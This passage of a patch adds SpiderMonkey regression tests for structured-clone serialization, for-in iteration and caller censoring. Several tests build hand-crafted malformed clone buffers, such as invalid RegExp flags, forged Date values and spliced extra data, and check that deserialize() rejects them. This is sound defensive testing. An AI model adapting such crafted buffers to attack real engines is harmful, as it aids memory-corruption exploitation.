+let data = new Uint8Array([
+ 104,97,108,101,6,0,255,255,95,98,
+ 0,0,0,0,0,104,97,108,101,9,0,255,
+ 255,95,98,115,0,0,0,0,0,0,65,0,0,
+ 0,0,0,0,0,0,0,0,0,0,0,0,0
+]);
+let cloneBuffer = serialize(null);
+cloneBuffer.clonebuffer = data.buffer;
+
+// One of the bytes above encodes a JS::RegExpFlags, but that byte contains bits
+// outside of JS::RegExpFlag::AllFlags and so will trigger an error.
+assertThrowsInstanceOf(() => deserialize(cloneBuffer), InternalError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/basic-for-each.js b/js/src/tests/non262/extensions/basic-for-each.js
new file mode 100644
index 0000000000..851faf4193
--- /dev/null
+++ b/js/src/tests/non262/extensions/basic-for-each.js
@@ -0,0 +1,58 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "346582";
+var summary = "Basic support for iterable objects and for-each";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+var iterable = { persistedProp: 17 };
+
+function Array_equals(a, b)
+{
+ if (!(a instanceof Array) || !(b instanceof Array))
+ throw new Error("Arguments not both of type Array");
+ if (a.length != b.length)
+ return false;
+ for (var i = 0, sz = a.length; i < sz; i++)
+ if (a[i] !== b[i])
+ return false;
+ return true;
+}
+
+try
+{
+ // nothing unusual so far -- verify basic properties
+ for (var i in iterable)
+ {
+ if (i != "persistedProp")
+ throw "no persistedProp!";
+ if (iterable[i] != 17)
+ throw "iterable[\"persistedProp\"] == 17";
+ }
+
+ if (iterable.persistedProp != 17)
+ throw "iterable.persistedProp not persisted!";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/basic-for-in.js b/js/src/tests/non262/extensions/basic-for-in.js
new file mode 100644
index 0000000000..f1476c65c5
--- /dev/null
+++ b/js/src/tests/non262/extensions/basic-for-in.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "346582";
+var summary = "Basic support for iterable objects and for-in";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+var iterable = { persistedProp: 17 };
+
+try
+{
+ // nothing unusual so far -- verify basic properties
+ for (var i in iterable)
+ {
+ if (i != "persistedProp")
+ throw "no persistedProp!";
+ if (iterable[i] != 17)
+ throw "iterable[\"persistedProp\"] == 17";
+ }
+
+ if (iterable.persistedProp != 17)
+ throw "iterable.persistedProp not persisted!";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/browser.js b/js/src/tests/non262/extensions/browser.js
new file mode 100644
index 0000000000..6cd01ab6f8
--- /dev/null
+++ b/js/src/tests/non262/extensions/browser.js
@@ -0,0 +1,6 @@
+// The page loaded in the browser is jsreftest.html, which is located in
+// js/src/tests. That makes Worker script URLs resolve relative to the wrong
+// directory. workerDir is the workaround.
+workerDir = (document.location.href.replace(/\/[^/?]*(\?.*)?$/, '/') +
+ 'non262/extensions/');
+
diff --git a/js/src/tests/non262/extensions/bug472534.js b/js/src/tests/non262/extensions/bug472534.js
new file mode 100644
index 0000000000..0c7d5f3ecb
--- /dev/null
+++ b/js/src/tests/non262/extensions/bug472534.js
@@ -0,0 +1,30 @@
+function monthNames () {
+ return [
+ /jan(uar(y)?)?/, 0,
+ /feb(ruar(y)?)?/, 1,
+ /m\u00e4r|mar|m\u00e4rz|maerz|march/, 2,
+ /apr(il)?/, 3,
+ /ma(i|y)/, 4,
+ /jun(i|o|e)?/, 5,
+ /jul(i|y)?/, 6,
+ /aug(ust)?/, 7,
+ /sep((t)?(ember))?/, 8,
+ /o(c|k)t(ober)?/, 9,
+ /nov(ember)?/, 10,
+ /de(c|z)(ember)?/, 11
+ ];
+};
+
+var actual = '';
+var expected = '(jan(uar(y)?)?)|(feb(ruar(y)?)?)|(m\\u00e4r|mar|m\\u00e4rz|maerz|march)|(apr(il)?)|(ma(i|y))|(jun(i|o|e)?)|(jul(i|y)?)|(aug(ust)?)|(sep((t)?(ember))?)|(o(c|k)t(ober)?)|(nov(ember)?)|(de(c|z)(ember)?)';
+var mn = monthNames();
+for (var i = 0; i < mn.length; ++i) {
+ if (actual)
+ actual += '|';
+ actual += '(' + mn[i++].source + ')';
+}
+
+assertEq(actual, expected);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/builtin-function-arguments-caller.js b/js/src/tests/non262/extensions/builtin-function-arguments-caller.js
new file mode 100644
index 0000000000..2acf5f452f
--- /dev/null
+++ b/js/src/tests/non262/extensions/builtin-function-arguments-caller.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'builtin-function-arguments-caller.js';
+var BUGNUMBER = 929642;
+var summary =
+ "Built-in functions defined in ECMAScript pick up arguments/caller " +
+ "properties from Function.prototype";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectNoProperty(obj, prop)
+{
+ var desc = Object.getOwnPropertyDescriptor(obj, prop);
+ assertEq(desc, undefined,
+ "should be no '" + prop + "' property on " + obj);
+}
+
+// Test a builtin that's native.
+expectNoProperty(Object, "arguments");
+expectNoProperty(Object, "caller");
+
+// Also test a builtin that's self-hosted.
+expectNoProperty(Array.prototype.indexOf, "arguments");
+expectNoProperty(Array.prototype.indexOf, "caller");
+
+// Test the Function construct for good measure, because it's so intricately
+// invovled in bootstrapping.
+expectNoProperty(Function, "arguments");
+expectNoProperty(Function, "caller");
+
+var argsDesc = Object.getOwnPropertyDescriptor(Function.prototype, "arguments");
+var callerDesc = Object.getOwnPropertyDescriptor(Function.prototype, "caller");
+
+var argsGet = argsDesc.get, argsSet = argsDesc.set;
+
+expectNoProperty(argsGet, "arguments");
+expectNoProperty(argsGet, "caller");
+expectNoProperty(argsSet, "arguments");
+expectNoProperty(argsSet, "caller");
+
+var callerGet = callerDesc.get, callerSet = callerDesc.set;
+
+expectNoProperty(callerGet, "arguments");
+expectNoProperty(callerGet, "caller");
+expectNoProperty(callerSet, "arguments");
+expectNoProperty(callerSet, "caller");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/censor-strict-caller.js b/js/src/tests/non262/extensions/censor-strict-caller.js
new file mode 100644
index 0000000000..b23469953d
--- /dev/null
+++ b/js/src/tests/non262/extensions/censor-strict-caller.js
@@ -0,0 +1,15 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+
+function nonstrict() { return nonstrict.caller; }
+function strict() { "use strict"; return nonstrict(); }
+
+assertEq(strict(), null);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/clone-bigint.js b/js/src/tests/non262/extensions/clone-bigint.js
new file mode 100644
index 0000000000..a40bbed8f4
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-bigint.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function testBigInt(b) {
+ var a = deserialize(serialize(b));
+ assertEq(typeof b, "bigint");
+ assertEq(typeof a, "bigint");
+ assertEq(a, b);
+}
+
+testBigInt(0n);
+testBigInt(-1n);
+testBigInt(1n);
+
+testBigInt(0xffffFFFFffffFFFFffffFFFFffffFFFFn);
+testBigInt(-0xffffFFFFffffFFFFffffFFFFffffFFFFn);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-complex-object.js b/js/src/tests/non262/extensions/clone-complex-object.js
new file mode 100644
index 0000000000..869a7d805f
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-complex-object.js
@@ -0,0 +1,313 @@
+// |reftest| slow skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Set of properties on a cloned object that are legitimately non-enumerable,
+// grouped by object type.
+var non_enumerable = { 'Array': [ 'length' ],
+ 'String': [ 'length' ] };
+
+// Set of properties on a cloned object that are legitimately non-configurable,
+// grouped by object type. The property name '0' stands in for any indexed
+// property.
+var non_configurable = { 'String': [ 0 ],
+ '(typed array)': [ 0 ] };
+
+// Set of properties on a cloned object that are legitimately non-writable,
+// grouped by object type. The property name '0' stands in for any indexed
+// property.
+var non_writable = { 'String': [ 0 ] };
+
+function classOf(obj) {
+ var classString = Object.prototype.toString.call(obj);
+ var [ all, classname ] = classString.match(/\[object (\w+)/);
+ return classname;
+}
+
+function isIndex(p) {
+ var u = p >>> 0;
+ return ("" + u == p && u != 0xffffffff);
+}
+
+function notIndex(p) {
+ return !isIndex(p);
+}
+
+function tableContains(table, cls, prop) {
+ if (isIndex(prop))
+ prop = 0;
+ if (cls.match(/\wArray$/))
+ cls = "(typed array)";
+ var exceptionalProps = table[cls] || [];
+ return exceptionalProps.indexOf(prop) != -1;
+}
+
+function shouldBeConfigurable(cls, prop) {
+ return !tableContains(non_configurable, cls, prop);
+}
+
+function shouldBeWritable(cls, prop) {
+ return !tableContains(non_writable, cls, prop);
+}
+
+function ownProperties(obj) {
+ return Object.getOwnPropertyNames(obj).
+ map(function (p) { return [p, Object.getOwnPropertyDescriptor(obj, p)]; });
+}
+
+function isCloneable(pair) {
+ return typeof pair[0] === 'string' && pair[1].enumerable;
+}
+
+function compareProperties(a, b, stack, path) {
+ var ca = classOf(a);
+
+ // 'b', the original object, may have non-enumerable or XMLName properties;
+ // ignore them. 'a', the clone, should not have any non-enumerable
+ // properties (except .length, if it's an Array or String) or XMLName
+ // properties.
+ var pb = ownProperties(b).filter(isCloneable);
+ var pa = ownProperties(a);
+ for (var i = 0; i < pa.length; i++) {
+ var propname = pa[i][0];
+ assertEq(typeof propname, "string", "clone should not have E4X properties " + path);
+ if (!pa[i][1].enumerable) {
+ if (tableContains(non_enumerable, ca, propname)) {
+ // remove it so that the comparisons below will work
+ pa.splice(i, 1);
+ i--;
+ } else {
+ throw new Error("non-enumerable clone property " + propname + " " + path);
+ }
+ }
+ }
+
+ // Check that, apart from properties whose names are array indexes,
+ // the enumerable properties appear in the same order.
+ var aNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ var bNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ assertEq(aNames.join(","), bNames.join(","), path);
+
+ // Check that the lists are the same when including array indexes.
+ function byName(a, b) { a = a[0]; b = b[0]; return a < b ? -1 : a === b ? 0 : 1; }
+ pa.sort(byName);
+ pb.sort(byName);
+ assertEq(pa.length, pb.length, "should see the same number of properties " + path);
+ for (var i = 0; i < pa.length; i++) {
+ var aName = pa[i][0];
+ var bName = pb[i][0];
+ assertEq(aName, bName, path);
+
+ var path2 = isIndex(aName) ? path + "[" + aName + "]" : path + "." + aName;
+ var da = pa[i][1];
+ var db = pb[i][1];
+ assertEq(da.configurable, shouldBeConfigurable(ca, aName), path2);
+ assertEq(da.writable, shouldBeWritable(ca, aName), path2);
+ assertEq("value" in da, true, path2);
+ var va = da.value;
+ var vb = b[pb[i][0]];
+ stack.push([va, vb, path2]);
+ }
+}
+
+function isClone(a, b) {
+ var stack = [[a, b, 'obj']];
+ var memory = new WeakMap();
+ var rmemory = new WeakMap();
+
+ while (stack.length > 0) {
+ var pair = stack.pop();
+ var x = pair[0], y = pair[1], path = pair[2];
+ if (typeof x !== "object" || x === null) {
+ // x is primitive.
+ assertEq(x, y, "equal primitives");
+ } else if (x instanceof Date) {
+ assertEq(x.getTime(), y.getTime(), "equal times for cloned Dates");
+ } else if (memory.has(x)) {
+ // x is an object we have seen before in a.
+ assertEq(y, memory.get(x), "repeated object the same");
+ assertEq(rmemory.get(y), x, "repeated object's clone already seen");
+ } else {
+ // x is an object we have not seen before.
+ // Check that we have not seen y before either.
+ assertEq(rmemory.has(y), false);
+
+ var xcls = classOf(x);
+ var ycls = classOf(y);
+ assertEq(xcls, ycls, "same [[Class]]");
+
+ // clone objects should have the default prototype of the class
+ assertEq(Object.getPrototypeOf(x), this[xcls].prototype);
+
+ compareProperties(x, y, stack, path);
+
+ // Record that we have seen this pair of objects.
+ memory.set(x, y);
+ rmemory.set(y, x);
+ }
+ }
+ return true;
+}
+
+function check(val) {
+ var clone = deserialize(serialize(val));
+ assertEq(isClone(val, clone), true);
+ return clone;
+}
+
+// Various recursive objects
+
+// Recursive array.
+var a = [];
+a[0] = a;
+check(a);
+
+// Recursive Object.
+var b = {};
+b.next = b;
+check(b);
+
+// Mutually recursive objects.
+var a = [];
+var b = {};
+var c = {};
+a[0] = b;
+a[1] = b;
+a[2] = b;
+b.next = a;
+check(a);
+check(b);
+
+// A date
+check(new Date);
+
+// A recursive object that is very large.
+a = [];
+b = a;
+for (var i = 0; i < 10000; i++) {
+ b[0] = {};
+ b[1] = [];
+ b = b[1];
+}
+b[0] = {owner: a};
+b[1] = [];
+check(a);
+
+// Date objects should not be identical even if representing the same date
+var ar = [ new Date(1000), new Date(1000) ];
+var clone = check(ar);
+assertEq(clone[0] === clone[1], false);
+
+// Identity preservation for various types of objects
+
+function checkSimpleIdentity(v)
+{
+ a = check([ v, v ]);
+ assertEq(a[0] === a[1], true);
+ return a;
+}
+
+var v = new Boolean(true);
+checkSimpleIdentity(v);
+
+v = new Number(17);
+checkSimpleIdentity(v);
+
+v = new String("yo");
+checkSimpleIdentity(v);
+
+v = "fish";
+checkSimpleIdentity(v);
+
+v = new Int8Array([ 10, 20 ]);
+checkSimpleIdentity(v);
+
+v = new ArrayBuffer(7);
+checkSimpleIdentity(v);
+
+v = new Date(1000);
+b = [ v, v, { 'date': v } ];
+clone = check(b);
+assertEq(clone[0] === clone[1], true);
+assertEq(clone[0], clone[2]['date']);
+assertEq(clone[0] === v, false);
+
+// Reduced and modified from postMessage_structured_clone test
+let foo = { };
+let baz = { };
+let obj = { 'foo': foo,
+ 'bar': { 'foo': foo },
+ 'expando': { 'expando': baz },
+ 'baz': baz };
+check(obj);
+
+for (obj of getTestContent())
+ check(obj);
+
+// Stolen wholesale from postMessage_structured_clone_helper.js
+function* getTestContent()
+{
+ yield "hello";
+ yield 2+3;
+ yield 12;
+ yield null;
+ yield "complex" + "string";
+ yield new Object();
+ yield new Date(1306113544);
+ yield [1, 2, 3, 4, 5];
+ let obj = new Object();
+ obj.foo = 3;
+ obj.bar = "hi";
+ obj.baz = new Date(1306113544);
+ obj.boo = obj;
+ yield obj;
+
+ let recursiveobj = new Object();
+ recursiveobj.a = recursiveobj;
+ recursiveobj.foo = new Object();
+ recursiveobj.foo.bar = "bar";
+ recursiveobj.foo.backref = recursiveobj;
+ recursiveobj.foo.baz = 84;
+ recursiveobj.foo.backref2 = recursiveobj;
+ recursiveobj.bar = new Object();
+ recursiveobj.bar.foo = "foo";
+ recursiveobj.bar.backref = recursiveobj;
+ recursiveobj.bar.baz = new Date(1306113544);
+ recursiveobj.bar.backref2 = recursiveobj;
+ recursiveobj.expando = recursiveobj;
+ yield recursiveobj;
+
+ obj = new Object();
+ obj.expando1 = 1;
+ obj.foo = new Object();
+ obj.foo.bar = 2;
+ obj.bar = new Object();
+ obj.bar.foo = obj.foo;
+ obj.expando = new Object();
+ obj.expando.expando = new Object();
+ obj.expando.expando.obj = obj;
+ obj.expando2 = 4;
+ obj.baz = obj.expando.expando;
+ obj.blah = obj.bar;
+ obj.foo.baz = obj.blah;
+ obj.foo.blah = obj.blah;
+ yield obj;
+
+ let diamond = new Object();
+ obj = new Object();
+ obj.foo = "foo";
+ obj.bar = 92;
+ obj.backref = diamond;
+ diamond.ref1 = obj;
+ diamond.ref2 = obj;
+ yield diamond;
+
+ let doubleref = new Object();
+ obj = new Object();
+ doubleref.ref1 = obj;
+ doubleref.ref2 = obj;
+ yield doubleref;
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-errors.js b/js/src/tests/non262/extensions/clone-errors.js
new file mode 100644
index 0000000000..38e0e78a6f
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-errors.js
@@ -0,0 +1,110 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function check(v) {
+ try {
+ serialize(v);
+ } catch (exc) {
+ return;
+ }
+ throw new Error("serializing " + JSON.stringify(v) + " should have failed with an exception");
+}
+
+// Unsupported object types.
+check(this);
+check(Math);
+check(function () {});
+check(new Proxy({}, {}));
+
+// A failing getter.
+check({get x() { throw new Error("fail"); }});
+
+// Mismatched scopes.
+for (let [write_scope, read_scope] of [['SameProcess', 'DifferentProcessForIndexedDB'],
+ ['SameProcess', 'DifferentProcess']])
+{
+ var ab = new ArrayBuffer(12);
+ var buffer = serialize(ab, [ab], { scope: write_scope });
+ var caught = false;
+ try {
+ deserialize(buffer, { scope: read_scope });
+ } catch (exc) {
+ caught = true;
+ }
+ assertEq(caught, true, `${write_scope} clone buffer should not be deserializable as ${read_scope}`);
+}
+
+// Extra data. This is not checked in #define FUZZING builds.
+const fuzzing = getBuildConfiguration()['fuzzing-defined'];
+const shouldThrow = fuzzing === false;
+
+var clone = serialize({foo: 7}, undefined, {scope: 'DifferentProcess'});
+deserialize(clone);
+clone.clonebuffer = clone.clonebuffer + "\0\0\0\0\0\0\0\0";
+var exc = {message: 'no error'};
+try {
+ deserialize(clone);
+} catch (e) {
+ exc = e;
+}
+if (shouldThrow) {
+ assertEq(exc.message.includes("bad serialized structured data"), true);
+ assertEq(exc.message.includes("extra data"), true);
+}
+
+// Extra data between the main body and "tail" of the clone data.
+function dumpData(data) {
+ data.forEach((x, i) => print(`[${i}] 0x${(i*8).toString(16)} : 0x${x.toString(16)}`));
+}
+
+function testInnerExtraData() {
+ const ab = new ArrayBuffer(8);
+ (new BigUint64Array(ab))[0] = 0xdeadbeefn;
+ const clone = serialize({ABC: 7, CBA: ab}, [ab], {scope: 'DifferentProcess'});
+
+ const data = [...new BigUint64Array(clone.arraybuffer)];
+ dumpData(data);
+
+ const fake = new ArrayBuffer(clone.arraybuffer.byteLength + 24);
+ const view = new BigUint64Array(fake);
+ view.set(new BigUint64Array(clone.arraybuffer), 0);
+ view[1] = view[1] & ~1n; // SCTAG_TRANSFER_MAP_HEADER with SCTAG_TM_UNREAD
+ view[5] += 24n; // Make space for another ArrayBuffer clone at the end
+ view[9] = 0xffff00030000000dn; // Change the constant 7 to 13
+ view[16] = 0xfeeddeadbeef2dadn; // Change stored ArrayBuffer contents
+ view[17] = view[14]; // SCTAG_ARRAY_BUFFER_OBJECT_V2
+ view[18] = view[15]; // 8 bytes long
+ view[19] = 0x1cedc0ffeen; // Content
+
+ dumpData(view);
+ clone.arraybuffer = fake;
+
+ let d;
+ let exc;
+ try {
+ d = deserialize(clone);
+ print(JSON.stringify(d));
+ print(new BigUint64Array(d.CBA)[0].toString(16));
+ } catch (e) {
+ exc = e;
+ }
+
+ const fuzzing = getBuildConfiguration()['fuzzing-defined'];
+ const shouldThrow = fuzzing === false;
+
+ if (shouldThrow) {
+ assertEq(Boolean(exc), true);
+ assertEq(exc.message.includes("extra data"), true);
+ print(`PASS with FUZZING: Found expected exception "${exc.message}"`);
+ } else {
+ assertEq(new BigUint64Array(d.CBA)[0].toString(16), "1cedc0ffee");
+ assertEq(d.ABC, 13);
+ print("PASS without FUZZING");
+ }
+}
+
+testInnerExtraData();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/extensions/clone-forge.js b/js/src/tests/non262/extensions/clone-forge.js
new file mode 100644
index 0000000000..3cdb0ea0df
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-forge.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function assertThrows(f) {
+ var ok = false;
+ try {
+ f();
+ } catch (exc) {
+ ok = true;
+ }
+ if (!ok)
+ throw new TypeError("Assertion failed: " + f + " did not throw as expected");
+}
+
+function byteArray(str) {
+ return str.split('').map(c => c.charCodeAt(0));
+}
+
+// Don't allow forging bogus Date objects.
+var mutated = byteArray(serialize(new Date(NaN)).clonebuffer);
+
+var a = [1/0, -1/0,
+ Number.MIN_VALUE, -Number.MIN_VALUE,
+ Math.PI, 1286523948674.5,
+ Number.MAX_VALUE, -Number.MAX_VALUE,
+ 8.64e15 + 1, -(8.64e15 + 1)];
+for (var i = 0; i < a.length; i++) {
+ var n = a[i];
+ var nbuf = serialize(n);
+ var data = byteArray(nbuf.clonebuffer);
+ for (var j = 0; j < 8; j++)
+ mutated[j+8] = data[j];
+ nbuf.clonebuffer = String.fromCharCode.apply(null, mutated);
+ assertThrows(function () { deserialize(nbuf); });
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/clone-invalid-property-key.js b/js/src/tests/non262/extensions/clone-invalid-property-key.js
new file mode 100644
index 0000000000..9b0347586c
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-invalid-property-key.js
@@ -0,0 +1,22 @@
+// Don't allow serialized data to use objects as property keys.
+
+if (typeof serialize === "function") {
+ let data = new Uint8Array([
+ 104,97,108,101,7,0,255,255,95,98,0,0,0,0,0,104,97,108,101,9,0,255,255,95,98,
+ 115,10,109,97,120,95,108,101,110,0,0,0,0,109,97,120,95,108,101,110,0,0,0,0,0,
+ 0,0,0,0,246,0,0,0,42,4,0,0,0,0,0,0,0,0,0,0,0,0,65,0,0,0,0,0,0,0,0,0,0,0,0,0,
+ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,253,0,0,0,0,0,0,0,0,0,0,0,0,
+ 191,190,190,184,65,65,65,65,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
+ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,104,97,108,101,9,0,
+ 255,255,95,98,115,10,109,97,120,95,110,100,108,213,95,175,175,175,175,175,0,
+ 0,0,0,0,2,0,0,0,0,0,13,0,255,255,96,125,115,135,109,97,120,110,0,0,32,0,8,0,
+ 0,0
+ ]);
+ let cloneBuffer = serialize(null);
+ cloneBuffer.clonebuffer = data.buffer;
+ try {
+ let obj = deserialize(cloneBuffer);
+ } catch(exc1) {}
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/clone-leaf-object.js b/js/src/tests/non262/extensions/clone-leaf-object.js
new file mode 100644
index 0000000000..081a9b666e
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-leaf-object.js
@@ -0,0 +1,68 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = [new Boolean(true),
+ new Boolean(false),
+ new Number(0),
+ new Number(-0),
+ new Number(Math.PI),
+ new Number(0x7fffffff),
+ new Number(-0x7fffffff),
+ new Number(0x80000000),
+ new Number(-0x80000000),
+ new Number(0xffffffff),
+ new Number(-0xffffffff),
+ new Number(0x100000000),
+ new Number(-0x100000000),
+ new Number(Number.MIN_VALUE),
+ new Number(-Number.MIN_VALUE),
+ new Number(Number.MAX_VALUE),
+ new Number(-Number.MAX_VALUE),
+ new Number(1/0),
+ new Number(-1/0),
+ new Number(0/0),
+ new String(""),
+ new String("\0123\u4567"),
+ new Date(0),
+ new Date(-0),
+ new Date(0x7fffffff),
+ new Date(-0x7fffffff),
+ new Date(0x80000000),
+ new Date(-0x80000000),
+ new Date(0xffffffff),
+ new Date(-0xffffffff),
+ new Date(0x100000000),
+ new Date(-0x100000000),
+ new Date(1286523948674),
+ new Date(8.64e15), // hard-coded in ES5 spec, hard-coded here
+ new Date(-8.64e15),
+ new Date(NaN)];
+
+function primitive(a) {
+ return a instanceof Date ? +a : a.constructor(a);
+}
+
+for (var i = 0; i < a.length; i++) {
+ var x = a[i];
+ if (x.toSource) {
+ var expectedSource = x.toSource();
+ }
+ var expectedPrimitive = primitive(x);
+ var expectedProto = x.__proto__;
+ var expectedString = Object.prototype.toString.call(x);
+ x.expando = 1;
+ x.__proto__ = {};
+
+ var y = deserialize(serialize(x));
+ if (x.toSource) {
+ assertEq(y.toSource(), expectedSource);
+ }
+ assertEq(primitive(y), expectedPrimitive);
+ assertEq(y.__proto__, expectedProto);
+ assertEq(Object.prototype.toString.call(y), expectedString);
+ assertEq("expando" in y, false);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/clone-many-transferables.js b/js/src/tests/non262/extensions/clone-many-transferables.js
new file mode 100644
index 0000000000..463dc74ee7
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-many-transferables.js
@@ -0,0 +1,25 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- requires serialize()
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function test()
+{
+ // On my system, with an unfixed build where transfer-list processing is
+ // quadratic, 5e5 elements makes this test take ~70s in a shell opt build.
+ // Debug build is well into timeout-land at 300+s. As long as at least *one*
+ // platform times out for a quadratic algorithm, a regression should be
+ // obvious. (Time to run the test in even a debug shell is ~17s, well short
+ // of timing out.)
+ var transfers = [];
+ for (var i = 0; i < 5e5; i++)
+ transfers.push(new ArrayBuffer());
+
+ // If serialization is quadratic in the length of |transfers|, the test will
+ // time out. If the test doesn't time out, it passed.
+ serialize({}, transfers);
+}
+
+test();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-object-deep.js b/js/src/tests/non262/extensions/clone-object-deep.js
new file mode 100644
index 0000000000..685577b924
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-object-deep.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function test() {
+ var check = clone_object_check;
+
+ // Invoke with the simple parameter to compile the function before doing
+ // deep clone, on --ion-eager case, to avoid timeout.
+ check({x: null, y: undefined});
+
+ // Try cloning a deep object. Don't fail with "too much recursion".
+ var b = {};
+ var current = b;
+ for (var i = 0; i < 10000; i++) {
+ var next = {};
+ current['x' + i] = next;
+ current = next;
+ }
+ check(b, "deepObject"); // takes 2 seconds :-\
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-object.js b/js/src/tests/non262/extensions/clone-object.js
new file mode 100644
index 0000000000..56a2166bec
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-object.js
@@ -0,0 +1,143 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function test() {
+ var check = clone_object_check;
+
+ check({});
+ check([]);
+ check({x: 0});
+ check({x: 0.7, p: "forty-two", y: null, z: undefined});
+ check(Array.prototype);
+ check(Object.prototype);
+
+ // before and after
+ var b, a;
+
+ // Slow array.
+ b = [, 1, 2, 3];
+ b.expando = true;
+ b[5] = 5;
+ b[0] = 0;
+ b[4] = 4;
+ delete b[2];
+ check(b);
+
+ // Check cloning properties other than basic data properties. (check()
+ // asserts that the properties of the clone are configurable, writable,
+ // enumerable data properties.)
+ b = {};
+ Object.defineProperties(b, {
+ x: {enumerable: true, get: function () { return 12479; }},
+ y: {enumerable: true, configurable: true, writable: false, value: 0},
+ z: {enumerable: true, configurable: false, writable: true, value: 0},
+ hidden: {enumerable:false, value: 1334}});
+ check(b);
+
+ // Check corner cases involving property names.
+ b = {"-1": -1,
+ 0xffffffff: null,
+ 0x100000000: null,
+ "": 0,
+ "\xff\x7f\u7fff\uffff\ufeff\ufffe": 1, // random unicode id
+ "\ud800 \udbff \udc00 \udfff": 2}; // busted surrogate pairs
+ check(b);
+
+ b = [];
+ b[-1] = -1;
+ b[0xffffffff] = null;
+ b[0x100000000] = null;
+ b[""] = 0;
